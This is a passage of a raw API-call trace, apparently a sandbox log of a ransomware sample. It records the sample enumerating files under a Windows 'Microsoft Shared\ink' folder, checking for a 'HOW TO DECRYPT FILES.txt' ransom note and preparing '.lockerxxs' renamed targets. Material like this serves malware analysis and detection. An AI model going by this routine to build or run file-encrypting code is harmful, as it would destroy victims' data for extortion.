FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.185] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0058.185] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.185] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.185] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.185] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.185] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.185] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="hwrcommonlm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" [0058.185] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" [0058.185] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" [0058.185] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat." [0058.185] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.lockerxxs" [0058.186] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.186] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8258, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0058.186] lstrcmpA (lpString1=".", lpString2="HWRCustomization") returned -1 [0058.186] lstrcmpA (lpString1="..", lpString2="HWRCustomization") returned -1 [0058.186] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HWRCustomization" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" [0058.186] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.187] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.187] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.187] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.187] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.187] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 0 [0058.187] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.188] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x570048, dwReserved1=0x3, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0058.188] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.188] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.188] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.188] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.188] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.188] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="hwrenalm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" [0058.188] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" [0058.188] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" [0058.188] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat." [0058.188] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.lockerxxs" [0058.188] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.189] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x4f8250, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0058.189] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.189] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.189] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.189] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.189] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.190] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="hwrenclm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" [0058.190] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" [0058.190] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" [0058.190] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat." [0058.190] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.lockerxxs" [0058.190] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.190] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x4f8250, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0058.190] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.190] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.190] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.190] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.190] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.190] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="hwrlatinlm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" [0058.190] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" [0058.191] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" [0058.191] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat." [0058.191] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.lockerxxs" [0058.191] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.191] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x4f8258, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0058.191] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.191] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.191] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.191] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.191] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.191] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="hwruklm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" [0058.191] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" [0058.191] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" [0058.191] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", lpString2="." | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat." [0058.191] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.lockerxxs") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.lockerxxs" [0058.191] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.194] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x4f8250, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0058.194] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.194] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" [0058.194] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\") returned="" [0058.194] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" [0058.194] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0058.194] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpString2="hwruksh.dat" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" [0058.195] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x4f8250, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0058.195] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.196] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x4f8250, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0058.196] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.196] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x4f8250, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0058.196] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.196] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0058.196] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.197] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0058.197] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.197] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, 